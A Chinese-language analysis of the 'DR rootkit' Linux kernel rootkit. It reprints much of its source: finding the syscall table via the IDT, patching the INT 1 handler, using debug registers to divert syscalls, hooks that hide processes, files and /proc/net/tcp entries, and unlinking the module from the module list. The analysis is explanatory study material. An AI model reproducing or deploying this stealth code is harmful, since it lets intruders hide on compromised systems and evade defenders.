DR rootkit 实现分析

简介

DR rootkit，这里的 DR 是 Debug Register 的简称。该名称道出了本 rootkit 所用到的最核心的技巧（我觉得用技巧可能比技术更贴切一点）。即这是一个利用 x86 架构的 CPU 中的调试寄存器来截获系统调用的新的黑客软件。

Rootkit 这一类黑客软件不外乎是要在“肉鸡”上做隐身人，或通过截获文件系统驱动相关函数指针（比如 adore-ng），或通过截获系统调用（比如 knark）来修改操作系统的行为，以达到不让应用层软件看到黑客认为不应当被看到的东西（正在运行的进程，文件，网络连接等）。DR rootkit 自然也是干这事，用到的隐藏技术也与同类软件大同小异，但它有一个崭新的思路，却是在以前 rootkit 开发中第一次看到，就是通过调试寄存器来截获系统调用，这是它最闪亮的一点。这一点几乎可以击溃所有通过检查系统调用表(system call table)来判断是否被安装了黑客软件的“反黑客软件”。

下面是对调试寄存器的最简单介绍，要比较全面的了解，最好到 Intel 网站去免费下载 CPU 手册查阅。

在 80386 芯片内有 8 个 32 位的调试寄存器 DR7～DR0(DR：Debug Register)。它们为调试程序提供了方便。DR3～DR0 用来容纳 4 个 32 位的断点地址。DR5 和 DR4 是 Intel 保留的，未作定义。DR6 是断点状态寄存器，其中包含了所有引起异常中断的事件标志，用来协助断点调试。DR7 为断点控制寄存器。它的高 16 位分成 4 个字段，分别用来规定 4 个断点的长度是一个字节还是 4 个字节以及引起断点的访问类型；它的低 16 位用来允许 / 禁止 4 个断点以及选择断点的条件。

当 CPU 运行的代码执行/读取/写入 DR3～DR0 中设定的断点地址时，就会发生所谓的一号“陷入”（trap 1），运行内核的 do_debug（）处理函数（handler）。DR rootkit 就是通过把要截获的系统调用的函数地址设置到调试寄存器中，这样当有程序触发这些系统调用时就会率先被 DR rootkit 版的“do_debug”函数截获，然后实现同其他 rootkit 类似的“隐藏”工作。

实现技术分析

按 DR rootkit 作者在 README 中的说法，这只是一个原型（Prototype），所以代码也比较简陋。虽说是“原形”，但 rootkit 最基本的隐藏功能基本都有了（当然缺少了对自身“脚印”的擦除，并且没有后门功能。不过话说回来，我认为 rootkit 应该追求隐藏得“深”，而不是功能“强”。比如后门功能部分可以通过 netcat 来实现。）

下面就分析一下 DR rootkit 这个非常新的 Linux 下的 rootkit 的实现。

该 rootkit 只有两个源码文件：

1. DR.c
2. hooktable.h

编译也是符合 Linux 2.6 内核的内核模块编译规则，Makefile 非常简单

```
obj-m := DR.o

all:
	$(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` modules
clean:
	$(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` clean
	$(RM) Module.markers modules.order
```

其实 DR rootkit 用的调试寄存器截获系统调用的技术完全可以用在 2.4，2.2 内核上，甚至这种思想也完全可以用到 Windows 系列操作系统的内核级 rootkit 的开发中（我都有点手痒了）。

崭新的截获思路

```
542 /*
543     This should:
544
545     1) kalloc a page for the handler/hooks
546     2) install the handler/hooks
547     3) return without loading
548
549     NOTE:
550     Right now it just uses a module load logic for development
551     debugging simplification.
552
553 */
554
555 static int __init init_DR(void)
556 {
557     unsigned int h0x80          = 0;
558     unsigned int h0x01          = 0;
559     unsigned int table          = 0;
560     unsigned int syscall_call   = 0;
561     unsigned int sysenter_entry = 0;
562     struct watch watches        = { 0, 0, 0, 0, 0, 0 };
563
564     DEBUGLOG(("******* LOADING IA32 DR HOOKING ENGINE *******\n"));
565
566     h0x80 = __get_int_handler(0x80);
567     DEBUGLOG(("*** loader: handler for INT 128: %X\n", h0x80));
568
569     table               = __get_syscall_table(h0x80, RETURN_SYSCALL_TABLE);
570     syscall_call        = __get_syscall_table(h0x80, RETURN_SYSCALL_CALL);
571     sys_table_global    = table;
572     DEBUGLOG(("*** loader: syscall_table: %X\n", table));
573    DEBUGLOG(("*** loader: syscall_call call *table(,eax,4): %X\n", syscall_call));
574
575     h0x01 = __get_int_handler(0x1);
576     DEBUGLOG(("*** loader: handler for INT 1: %X\n", h0x01));
577
578     /* XXX: only for debug cleanup on unload */
579     h0x01_global    = h0x01;
580
581     /* patch the do_debug call offset in the INT 1 handler */
582     __orig_do_debug = (void (*)())__get_and_set_do_debug_2_6(h0x01, \
583                                 (unsigned int)__my_do_debug);
584     DEBUGLOG(("*** loader: INT 1 handler patched to use __my_do_debug\n"));
585
586      __init_hook_table();
587     DEBUGLOG(("*** loader: initialized hook_table\n"));
588
589     /*
590         Set a breakpoint on sycall handler in dr0 for 1 byte
591     */
592
593     /* for DR_RW_EXECUTE len has to be 0 (1 byte) (IA32_SDM_3B.pdf) */
594
595     /* syscall_call watch into dr0 */
596     watches.ctrl    |= TRAP_GLOBAL_DR0;
597     watches.ctrl    |= DR_RW_EXECUTE << DR0_RW;
598     watches.ctrl    |= 0             << DR0_LEN;
599     watches.dr0     = syscall_call;
600
601 #ifdef __SYSENTER_ENABLE__
602
603     /* we can find the 2nd addie by searching backwards for call
*table(,%eax,4) ! :) */
```

```
   604      sysenter_entry = __get_sysenter_entry(syscall_call, table);
   605      DEBUGLOG(("*** loader: systenter entry call *table(,eax,4): %X\n",
sysenter_entry));
   606
   607      /* if we were able to find the sysentry_entry syscall_table call .. hooray */
   608      if (sysenter_entry)
   609      {
   610          /* sysenter_entry watch into dr1 */
   611          watches.ctrl    |= TRAP_GLOBAL_DR1;
   612          watches.ctrl    |= DR_RW_EXECUTE << DR1_RW;
   613          watches.ctrl    |= 0             << DR1_LEN;
   614          watches.dr1     = sysenter_entry;
   615      }
   616
   617  #endif
   618
   619      /* support smp */
   620      on_each_cpu((void (*)())__set_watch, &watches, 0, 0);
   621
   622  #ifdef __UNLINK_LKM__
   623
   624      list_del(&THIS_MODULE->list);
   625
   626  #endif
   627
   628      /* when we switch to kmalloc .. return -EINVAL */
   629      return 0; //-EINVAL;
   630  }
   631
   632  /*
   633      main module init/exit
   634  */
   635
   636  module_init(init_DR);
   637  module_exit(exit_DR);
   638
   639  /* taint-safe */
   640  MODULE_LICENSE("GPL");
   641
```

上面是该 rootkit 的内核模块的载入接口，在其中做了如下几步工作：

1. 获取系统调用表的地址
2. 获取调试寄存器引发的陷入的处理函数的地址，(do_debug)
3. 用 DR rootkit 的 trap 1 的处理函数 __my_do_debug 来替换系统的 do_debug
4. 截获为了隐藏进程，文件和网络连接而关心的系统调用
5. 用 DR0 来监控系统调用表的读写执行
6. 对由 sysenter 指令实现的系统调用陷入的监控
7. 把 DR rootkit 本身从内核模块列表显示中删除（隐藏自身）

上面的步骤琐碎，但却是实现“隐藏”的关键（实际上目前“隐藏技术”的本身实现，倒是极其类似了，花头不大）。

获取系统调用表的地址

```
   566      h0x80 = __get_int_handler(0x80);
   567      DEBUGLOG(("*** loader: handler for INT 128: %X\n", h0x80));
   568
   569      table               = __get_syscall_table(h0x80, RETURN_SYSCALL_TABLE);
   570      syscall_call        = __get_syscall_table(h0x80, RETURN_SYSCALL_CALL);
```

566 行通过 sidt 汇编指令获取 IDT 表中 trap 0x80 的处理函数地址。

```
    42  /*
    43      __get_int_handler(int offset)
    44
    45      in:     interrupt # as an offset
```

```
    46      out:    address of interrupt handler
    47  */
    48
    49  static int __get_int_handler(int offset)
    50  {
    51      int idt_entry   = 0;
    52
    53                              /* off2 << 16 | off1 */
    54      __asm__ __volatile__ (  "xorl %%ebx,%%ebx               \n\t"
    55                              "pushl %%ebx                    \n\t"
    56                              "pushl %%ebx                    \n\t"
    57                              "sidt (%%esp)                   \n\t"
    58                              "movl 2(%%esp),%%ebx            \n\t"
    59                              "movl %1,%%ecx                  \n\t"
    60                              "leal (%%ebx, %%ecx, 8),%%esi   \n\t"
    61                              "xorl %%eax,%%eax               \n\t"
    62                              "movw 6(%%esi),%%ax             \n\t"
    63                              "roll $0x10,%%eax               \n\t"
    64                              "movw (%%esi),%%ax              \n\t"
    65                              "popl %%ebx                     \n\t"
    66                              "popl %%ebx                     \n\t"
    67                              : "=a" (idt_entry)
    68                              : "r" (offset)
    69                              : "ebx", "esi" );
    70
    71      return idt_entry;
    72  }
```

返回的 idt_entry 是 int 0x80 的处理函数，也就是所有系统调用的总入口（用 sysenter 指令实现的除外）。在该函数中会根据系统调用号在系统调用表（sys_call_table）中分派执行各个系统调用。

下面以反汇编自 vmlinux-2.6.18-1.2798.fc6kdump 的内核代码为例看看在汇编级 int 0x80 handler 的代码是什么样的？（最左边的地址因系统不同而异，这里列出仅供参考）

```
c1002e30:      50                    push   %eax
c1002e31:      fc                    cld
c1002e32:      06                    push   %es
c1002e33:      1e                    push   %ds
c1002e34:      50                    push   %eax
c1002e35:      55                    push   %ebp
c1002e36:      57                    push   %edi
c1002e37:      56                    push   %esi
c1002e38:      52                    push   %edx
c1002e39:      51                    push   %ecx
c1002e3a:      53                    push   %ebx
c1002e3b:      ba 7b 00 00 00        mov    $0x7b,%edx
c1002e40:      8e da                 movl   %edx,%ds
c1002e42:      8e c2                 movl   %edx,%es
c1002e44:      bd 00 f0 ff ff        mov    $0xfffff000,%ebp
c1002e49:      21 e5                 and    %esp,%ebp
c1002e4b:      f7 44 24 30 00 01 00  testl  $0x100,0x30(%esp)
c1002e52:      00
c1002e53:      74 04                 je     0xc1002e59
c1002e55:      83 4d 08 10           orl    $0x10,0x8(%ebp)
c1002e59:      66 f7 45 08 81 01     testw  $0x181,0x8(%ebp)
c1002e5f:      0f 85 bf 00 00 00     jne    0xc1002f24
c1002e65:      3d 3e 01 00 00        cmp    $0x13e,%eax
c1002e6a:      0f 83 1b 01 00 00     jae    0xc1002f8b
c1002e70:      ff 14 85 a0 34 20 c1  call   *0xc12034a0(,%eax,4)
c1002e77:      89 44 24 18           mov    %eax,0x18(%esp)
c1002e7b:      fa                    cli
c1002e7c:      8b 4d 08              mov    0x8(%ebp),%ecx
c1002e7f:      66 f7 c1 ff fe        test   $0xfeff,%cx
c1002e84:      0f 85 c2 00 00 00     jne    0xc1002f4c
c1002e8a:      8b 44 24 30           mov    0x30(%esp),%eax
c1002e8e:      8a 64 24 38           mov    0x38(%esp),%ah
c1002e92:      8a 44 24 2c           mov    0x2c(%esp),%al
c1002e96:      25 03 04 02 00        and    $0x20403,%eax
c1002e9b:      3d 03 04 00 00        cmp    $0x403,%eax
c1002ea0:      74 0d                 je     0xc1002eaf
c1002ea2:      5b                    pop    %ebx
```

```
c1002ea3:       59                      pop    %ecx
c1002ea4:       5a                      pop    %edx
c1002ea5:       5e                      pop    %esi
c1002ea6:       5f                      pop    %edi
c1002ea7:       5d                      pop    %ebp
c1002ea8:       58                      pop    %eax
c1002ea9:       1f                      pop    %ds
c1002eaa:       07                      pop    %es
c1002eab:       83 c4 04                add    $0x4,%esp
c1002eae:       cf                      iret
```

这里的 c1002e30 就是__get_int_handler(0x80)函数的返回值。

```
569         table               = __get_syscall_table(h0x80, RETURN_SYSCALL_TABLE);
```

这一行是取得上面代码中标红的值 0xc12034a0，它就是系统调用表的地址。

```
570         syscall_call        = __get_syscall_table(h0x80, RETURN_SYSCALL_CALL);
```

这一行是取得上面的 c1002e70，即派发系统调用那一行指令的运行地址。

获取调试寄存器引发的陷入的处理函数的地址

调试寄存器引发的 trap 1，会调用内核的 do_debug()函数。这可以通过查询 IDT 表轻易地获得。

```
   575      h0x01 = __get_int_handler(0x1);
   576      DEBUGLOG(("*** loader: handler for INT 1: %X\n", h0x01));
```

用 DR rootkit 的 trap 1 的处理函数__my_do_debug 来替换系统的 do_debug

```
   581      /* patch the do_debug call offset in the INT 1 handler */
   582      __orig_do_debug = (void (*)())__get_and_set_do_debug_2_6(h0x01, \
   583                                  (unsigned int)__my_do_debug);
   584      DEBUGLOG(("*** loader: INT 1 handler patched to use __my_do_debug\n"));
```

该函数的思路很简单，就是在最底层的 trap 1 处理函数（汇编码）中必然会调用到实质性的用 c 语言实现的处理函数 do_debug。即搜寻 call do_debug 类似指令，然后用__my_do_debug 地址来替换 do_debug 的地址，使得该调用指令变成 call __my_do_debug。具体代码如下：

```
   294  /*
   295      __get_do_debug_2_6(int handler)
   296
   297      in:     address of INT1 handler
   298      out:    original do_debug address
   299
   300      Finds the 'call do_debug' and patches the offset
   301      to point to our patched handler.
   302  */
   303
   304  static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int
my_do_debug)
   305  {
   306      unsigned char *p        = (unsigned char *)handler;
   307      unsigned char buf[4]    = "\x00\x00\x00\x00";
   308      unsigned int offset     = 0;
   309      unsigned int orig       = 0;
   310
   311      /* find a candidate for the call .. needs better heuristics */
   312      while (p[0] != 0xe8)
   313      {
   314          p ++;
   315      }
   316      DEBUGLOG(("*** found call do_debug %X\n", (unsigned int)p));
   317      buf[0]  = p[1];
   318      buf[1]  = p[2];
   319      buf[2]  = p[3];
   320      buf[3]  = p[4];
   321
   322      offset  = *(unsigned int *)buf;
   323      DEBUGLOG(("*** found call do_debug offset %X\n", offset));
   324
   325      orig    = offset + (unsigned int)p + 5;
```

```
326     DEBUGLOG(("*** original do_debug %X\n", orig));
327
328     offset  = my_do_debug - (unsigned int)p - 5;
329     DEBUGLOG(("*** want call do_debug offset %X\n", offset));
330
331     p[1]    = (offset & 0x000000ff);
332     p[2]    = (offset & 0x0000ff00) >>  8;
333     p[3]    = (offset & 0x00ff0000) >> 16;
334     p[4]    = (offset & 0xff000000) >> 24;
335     DEBUGLOG(("*** patched in new do_debug offset\n"));
336
337     return orig;
338 }
```

上面代码中的标红的 0xe8 就是搜寻的 call 的指令码。

```
317     buf[0]  = p[1];
318     buf[1]  = p[2];
319     buf[2]  = p[3];
320     buf[3]  = p[4];
```

取得系统的 do_debug 函数地址。

```
331     p[1]    = (offset & 0x000000ff);
332     p[2]    = (offset & 0x0000ff00) >>  8;
333     p[3]    = (offset & 0x00ff0000) >> 16;
334     p[4]    = (offset & 0xff000000) >> 24;
```

用__my_do_debug 函数地址替换 do_debug 地址，以实现对 trap 1 处理函数的截获。

截获为了隐藏进程，文件和网络连接而关心的系统调用

```
102 /* main hook init */
103 static void __init_hook_table(void)
104 {
105
106     int i;
107
108     /* clear table */
109     for (i = 0; i < NR_syscalls; i ++)
110         hook_table[i] = NULL;
111
112     /* init hooks */
113     hook_table[__NR_getdents64]     = (void *)hook_getdents64;
114     hook_table[__NR_getdents]       = (void *)hook_getdents32;
115     hook_table[__NR_chdir]          = (void *)hook_chdir;
116     hook_table[__NR_open]           = (void *)hook_open;
117     hook_table[__NR_execve]         = (void *)hook_execve;
118     hook_table[__NR_socketcall]     = (void *)hook_socketcall;
119     hook_table[__NR_fork]           = (void *)hook_fork;
120     hook_table[__NR_exit]           = (void *)hook_exit;
121     hook_table[__NR_kill]           = (void *)hook_kill;
122     hook_table[__NR_getpriority]    = (void *)hook_getpriority;
123
124     /* example hook */
125     //hook_table[__NR_exit]         = (void *)hook_example_exit;
126
127     /* any additional (non-syscall) hooks go here */
128
129     /* clear Daniel's hidden_pids */
130     memset(hidden_pids, 0, sizeof(hidden_pids));
131
132     /* Daniel Palacio's tcp hook */
133     #ifdef __NET_NET_NAMESPACE_H
134         proc_net = init_net.proc_net;
135     #endif
136
137     if(proc_net == NULL)
138         return;
139
140     tcp = proc_net->subdir->next;
141     while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
```

```
142          tcp = tcp->next;
143
144      if (tcp != proc_net->subdir)
145      {
146          original_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
147          ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hook_tcp4_seq_show;
148      }
149  }
```

```
113      hook_table[__NR_getdents64]     = (void *)hook_getdents64;
114      hook_table[__NR_getdents]       = (void *)hook_getdents32;
115      hook_table[__NR_chdir]          = (void *)hook_chdir;
116      hook_table[__NR_open]           = (void *)hook_open;
117      hook_table[__NR_execve]         = (void *)hook_execve;
118      hook_table[__NR_socketcall]     = (void *)hook_socketcall;
119      hook_table[__NR_fork]           = (void *)hook_fork;
120      hook_table[__NR_exit]           = (void *)hook_exit;
121      hook_table[__NR_kill]           = (void *)hook_kill;
122      hook_table[__NR_getpriority]    = (void *)hook_getpriority;
```

上面列出了要截获的系统调用。

```
129      /* clear Daniel's hidden_pids */
130      memset(hidden_pids, 0, sizeof(hidden_pids));
```

hidden_pids 是隐藏进程要用到的数据结构，后面分析。

```
132      /* Daniel Palacio's tcp hook */
133      #ifdef __NET_NET_NAMESPACE_H
134          proc_net = init_net.proc_net;
135      #endif
136
137      if(proc_net == NULL)
138          return;
139
140      tcp = proc_net->subdir->next;
141      while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
142          tcp = tcp->next;
143
144      if (tcp != proc_net->subdir)
145      {
146          original_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
147          ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hook_tcp4_seq_show;
148      }
```

主要是要为了截获对/proc/net/tcp 这个虚拟文件的读取，netstat 就是查看该虚拟文件来知道当前系统中的 tcp 链路状况。你可以用下面的命令查看该虚拟文件：

```
[wzhou@localhost ~]$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid
timeout inode
   0: 00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
0 3610 1 f7010500 3000 0 0 2 -1
   1: 00000000:1770 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
0 426015 1 f1006500 3000 0 0 2 -1
   2: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
0 4099 1 f7011400 3000 0 0 2 -1
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
0 4066 1 f7010f00 3000 0 0 2 -1
   4: 00000000:B8DC 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
0 3674 1 f7010a00 3000 0 0 2 -1
   5: D0F1BB0D:0016 E3F1BB0D:06E0 01 00000000:00000000 02:000212E8 00000000     0
0 1349159 2 f1006f00 431 40 30 2 2
   6: D0F1BB0D:0016 E3F1BB0D:06E2 01 00000000:00000000 02:00021446 00000000     0
0 1349249 2 f1006a00 205 40 14 3 -1
   7: D0F1BB0D:0016 E3F1BB0D:081F 01 00000000:00000034 02:000AF59D 00000000     0
0 1351556 4 f1006000 206 40 11 3 -1
```

这里 cat 该虚拟文件时，内核就是运行上面代码中的

```
((struct tcp_seq_afinfo *)(tcp->data))->seq_show
```

DR rootkit 用 hook_tcp4_seq_show（）函数来替换，以实现对此信息的截获。具体分析见隐藏网络通讯一章。

用 DR0 来监控系统调用表的读写执行

```
589     /*
590         Set a breakpoint on sycall handler in dr0 for 1 byte
591     */
592
593     /* for DR_RW_EXECUTE len has to be 0 (1 byte) (IA32_SDM_3B.pdf) */
594
595     /* syscall_call watch into dr0 */
596     watches.ctrl    |= TRAP_GLOBAL_DR0;
597     watches.ctrl    |= DR_RW_EXECUTE << DR0_RW;
598     watches.ctrl    |= 0             << DR0_LEN;
599     watches.dr0     = syscall_call;
```

从注释上就可看到是在 syscall_call，也就是下面的一行代码

c1002e70: ff 14 85 a0 34 20 c1 call *0xc12034a0(,%eax,4)

的运行地址 c1002e70 上设了执行断点，即 CPU 一执行到这条指令就发生 trap 1，进入 __my_do_debug 处理函数。

下面详细分析一下该函数，这也是本 rootkit 最有趣的一面。

该函数全貌如下：

```
343 /* regs in eax, error_code in edx .. static reg optimized is fine */
344 static void __my_do_debug(struct pt_regs * regs,
345                 unsigned long error_code)
346 {
347     struct task_struct *tsk = current;
348     siginfo_t info;
349
350     int trap            = -1;
351     int control         = 0;
352     int s_control       = 0;
353     int status          = 0;
354     unsigned int dr2    = 0;
355     void **sys_p        = (void **)sys_table_global;
356
357     /* get dr6 */
358     __asm__ __volatile__ (  "movl %%dr6,%0   \n\t"
359                             : "=r" (status)  );
360
361     /* enable irqs ? if (regs->eflags & X86_EFLAGS_IF) */
362
363     /* check for trap on dr0 */
364     if (status & DR_TRAP0)
365     {
366         trap = 0;
367         status &= ~DR_TRAP0;
368     }
369
370     /* check for trap on dr1 */
371     if (status & DR_TRAP1)
372     {
373         trap = 1;
374         status &= ~DR_TRAP1;
375     }
376
377     /* check for trap on dr2 */
378     if (status & DR_TRAP2)
379     {
380         trap = 2;
381         status &= ~DR_TRAP2;
382     }
383
384     /* check for trap on dr3 */
385     if (status & DR_TRAP3)
386     {
387         trap = 3;
388         status &= ~DR_TRAP3;
389     }
390
```

```
   391     /* we keep re-setting our control register after operation */
   392
   393     /* DR0 is our int0x80 handler watch */
   394     control |= TRAP_GLOBAL_DR0;
   395     control |= DR_RW_EXECUTE << DR0_RW;
   396     control |= 0             << DR0_LEN;
   397
   398 #ifdef __SYSENTER_ENABLE__
   399
   400     /* DR1 is our sysenter handler watch */
   401     control |= TRAP_GLOBAL_DR1;
   402     control |= DR_RW_EXECUTE << DR1_RW;
   403     control |= 0             << DR1_LEN;
   404
   405 #endif
   406
   407     /* dr0-dr3 handlers */
   408
   409     switch (trap)
   410     {
   411         /* dr0 handles int 0x80, dr1 handles sysenter */
   412         case 0:
   413         case 1:
   414
   415             /* if we dont have a hook for this call do nothing */
   416             if (!hook_table[regs->eax])
   417             {
   418                 __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   419                                         "movl %1,%%dr7  \n\t"
   420                                         :
   421                                         : "r" (status), "r" (control)   );
   422                 break;
   423             }
   424
   425             /* DR2 2nd watch on the syscall_table entry for this syscall */
   426             dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);
   427             /* enable exact breakpoint detection LE/GE */
   428             s_control   |= TRAP_GLOBAL_DR2;
   429             s_control   |= TRAP_LE;
   430             s_control   |= TRAP_GE;
   431             s_control   |= DR_RW_READ << DR2_RW;
   432             s_control   |= 3          << DR2_LEN;
   433
   434             DEBUGLOG(("*** dr0/dr1 trap: setting read watch on syscall_NR of %d at
%X\n", \
   435                     (unsigned int)regs->eax, dr2));
   436
   437             /* set dr2 read watch on syscall table */
   438             __asm__ __volatile__ (  "movl %0,%%dr2  \n\t"
   439                                     :
   440                                     : "r" (dr2) );
   441
   442             /* set new control .. gives up syscall handler to avoid races */
   443             __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   444                                     "movl %1,%%dr7  \n\t"
   445                                     :
   446                                     : "r" (status), "r" (s_control)   );
   447
   448             /* if vm86 mode .. pass it on to orig */
   449             if (regs->eflags & VM_MASK)
   450                 goto orig_do_debug;
   451
   452             break;
   453
   454         /* handle the watch on syscall_table .. return patched address */
   455         case 2:
   456             DEBUGLOG(("*** got dr2 trap (syscall_table watch)\n"));
   457
   458             /* clear dr2 watch */
   459             __asm__ __volatile__ (  "xorl %eax,%eax \n\t"
   460                                     "movl %eax,%dr2 \n\t"   );
```

```
   461
   462             /* restore old int0x80 handler control */
   463             __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   464                                     "movl %1,%%dr7  \n\t"
   465                                     :
   466                                     : "r" (status), "r" (control)   );
   467
   468             /*
   469                 At the time of the trap1 eip is pointing at syscall
   470                 so .. we just set the eip for the task to hook :P
   471
   472                 NOTE:
   473
   474                 eax has our syscall number for both sysenter/int0x80
   475             */
   476
   477             if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs-
>eax])
   478             {
   479                 /* double check .. verify eip matches original */
   480                 unsigned int verify_hook = (unsigned int)sys_p[regs->eax];
   481                 if (regs->eip == verify_hook)
   482                 {
   483                     regs->eip = (unsigned int)hook_table[regs->eax];
   484                     DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax,
verify_hook, \
   485                                 (unsigned int)hook_table[regs->eax]));
   486                 }
   487             }
   488
   489             if (regs->eflags & VM_MASK)
   490                 goto orig_do_debug;
   491
   492             break;
   493
   494         case 3:
   495             DEBUGLOG(("*** got dr3 trap\n"));
   496             __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   497                                     "movl %1,%%dr7  \n\t"
   498                                     :
   499                                     : "r" (status), "r" (control)   );
   500             break;
   501
   502         default:
   503             DEBUGLOG(("*** unhandled trap"));
   504
   505         orig_do_debug:
   506
   507             /* call through to original int 1 handler */
   508             (*__orig_do_debug)(regs, error_code);
   509
   510             /* restore our control just in case */
   511             __asm__ __volatile__ (  "movl %0,%%dr7  \n\t"
   512                                     :
   513                                     : "r" (control) );
   514     }
   515
   516     /* set the resume flag after trap .. clear trap flag */
   517     if (trap >= 0)
   518     {
   519         regs->eflags |= X86_EFLAGS_RF;
   520         regs->eflags &= ~X86_EFLAGS_TF;
   521     }
   522 }
```

该函数的参数 `struct pt_regs * regs` 记录着当发生 `trap` 时的 CPU 寄存器的现场。

```
   357     /* get dr6 */
   358     __asm__ __volatile__ (  "movl %%dr6,%0   \n\t"
   359                             : "=r" (status)  );
   360
```

```
   361      /* enable irqs ? if (regs->eflags & X86_EFLAGS_IF) */
   362
   363      /* check for trap on dr0 */
   364      if (status & DR_TRAP0)
   365      {
   366          trap = 0;
   367          status &= ~DR_TRAP0;
   368      }
   369
   370      /* check for trap on dr1 */
   371      if (status & DR_TRAP1)
   372      {
   373          trap = 1;
   374          status &= ~DR_TRAP1;
   375      }
   376
   377      /* check for trap on dr2 */
   378      if (status & DR_TRAP2)
   379      {
   380          trap = 2;
   381          status &= ~DR_TRAP2;
   382      }
   383
   384      /* check for trap on dr3 */
   385      if (status & DR_TRAP3)
   386      {
   387          trap = 3;
   388          status &= ~DR_TRAP3;
   389      }
```

首先是从 DR6 状态寄存器获得到底是触发了那个 debug register 的断点，原因被记录在 trap 变量中。

```
   393      /* DR0 is our int0x80 handler watch */
   394      control |= TRAP_GLOBAL_DR0;
   395      control |= DR_RW_EXECUTE << DR0_RW;
   396      control |= 0             << DR0_LEN;
```

DR0 在如下行被设置成 int 0x80 处理函数的断点，这里在进入 trap 1 后再次 enable。

```
   599      watches.dr0     = syscall_call;
```

```
   601  #ifdef __SYSENTER_ENABLE__
   602
   603      /* we can find the 2nd addie by searching backwards for call
*table(,%eax,4) ! :) */
   604      sysenter_entry = __get_sysenter_entry(syscall_call, table);
   605      DEBUGLOG(("*** loader: systenter_entry call *table(,eax,4): %X\n",
sysenter_entry));
   606
   607      /* if we were able to find the sysentry_entry syscall_table call .. hooray */
   608      if (sysenter_entry)
   609      {
   610          /* sysenter_entry watch into dr1 */
   611          watches.ctrl    |= TRAP_GLOBAL_DR1;
   612          watches.ctrl    |= DR_RW_EXECUTE << DR1_RW;
   613          watches.ctrl    |= 0             << DR1_LEN;
   614          watches.dr1     = sysenter_entry;
   615      }
   616
   617  #endif
```

DR1 中设置的是通过 sysenter 指令而进入系统调用表的指令地址（具体分析见后面）

进入 trap 1 处理函数时，寄存器 eax 中是系统调用号，即标识了是哪一个系统调用。

```
   409      switch (trap)
   410      {
   411          /* dr0 handles int 0x80, dr1 handles sysenter */
   412          case 0:
   413          case 1:
   414
   415              /* if we dont have a hook for this call do nothing */
```

```
   416             if (!hook_table[regs->eax])
   417             {
   418                 __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   419                                         "movl %1,%%dr7  \n\t"
   420                                         :
   421                                         : "r" (status), "r" (control)   );
   422                 break;
   423             }
   424
```

当 CPU 通过 int 0x80 来发起系统调用来运行如下指令

```
c1002e70:      ff 14 85 a0 34 20 c1   call   *0xc12034a0(,%eax,4)
```

则 trap 为 0。

或者通过 sysenter 指令而发起系统调用来运行如下指令

```
c1002e06:      ff 14 85 a0 34 20 c1   call   *0xc12034a0(,%eax,4)
```

则 trap 为 1。

用系统调用号来索引 hook_table，如果为空，表示并不需要截获该系统调用，则只是设置断点状态和断点控制寄存器后去执行系统原来的 do_debug 处理函数。

用系统调用号来索引 hook_table，如果非空，则表示该系统调用需要截获。

```
   425             /* DR2 2nd watch on the syscall_table entry for this syscall */
   426             dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);
```

变量 dr2 为要截获的系统调用函数地址。

```
   427             /* enable exact breakpoint detection LE/GE */
   428             s_control   |= TRAP_GLOBAL_DR2;
   429             s_control   |= TRAP_LE;
   430             s_control   |= TRAP_GE;
   431             s_control   |= DR_RW_READ << DR2_RW;
   432             s_control   |= 3          << DR2_LEN;
   433
   434             DEBUGLOG(("*** dr0/dr1 trap: setting read watch on syscall_NR of %d at
%X\n", \
   435                     (unsigned int)regs->eax, dr2));
   436
   437             /* set dr2 read watch on syscall table */
   438             __asm__ __volatile__ (  "movl %0,%%dr2  \n\t"
   439                                     :
   440                                     : "r" (dr2) );
   441
   442             /* set new control .. gives up syscall handler to avoid races */
   443             __asm__ __volatile__ (  "movl %0,%%dr6  \n\t"
   444                                     "movl %1,%%dr7  \n\t"
   445                                     :
   446                                     : "r" (status), "r" (s_control)   );
   447
   448             /* if vm86 mode .. pass it on to orig */
   449             if (regs->eflags & VM_MASK)
   450                 goto orig_do_debug;
   451
   452             break;
```

把对要截获的系统调用的地址作为 DR3 的断点地址。这样实际上在退出本次 trap 1 处理函数后，CPU 一执行

```
call    *0xc12034a0(,%eax,4)
```

CPU 必然要读取*0xc12034a0(,%eax,4)处的内容，也就是先要取出 rootkit 想截获的系统调用的函数地址（然后才能派发啊），这时又会触发一次 trap 1，即由 DR3 的断点引发了再一次

的陷入。这就实现了在没有修改系统调用表的情况下，对特定系统调用的截获。简而言之，就是对不关心的系统调用 call *0xc12034a0(,%eax,4)指令只陷入一次，而对要截获的系统调用则会来第二次陷入。第一次陷入由 DR0 或 DR1 监控，而第二次陷入则由 DR2 监控。

对由 sysenter 指令实现的系统调用陷入的监控

较新的 x86 CPU 支持通过 sysenter 指令来陷入内核以获得系统服务，而不是传统的 int 0x80 方式。DR rootkit 在这里就是为了不遗漏该方式下的对系统调用的捕捉。具体 sysenter 指令，还是请参阅 intel 手册，解释得最权威也最准确了。

依然通过比较脏的手段来实现的，见下面的函数：

```
   603      /* we can find the 2nd addie by searching backwards for call
*table(,%eax,4) ! :) */
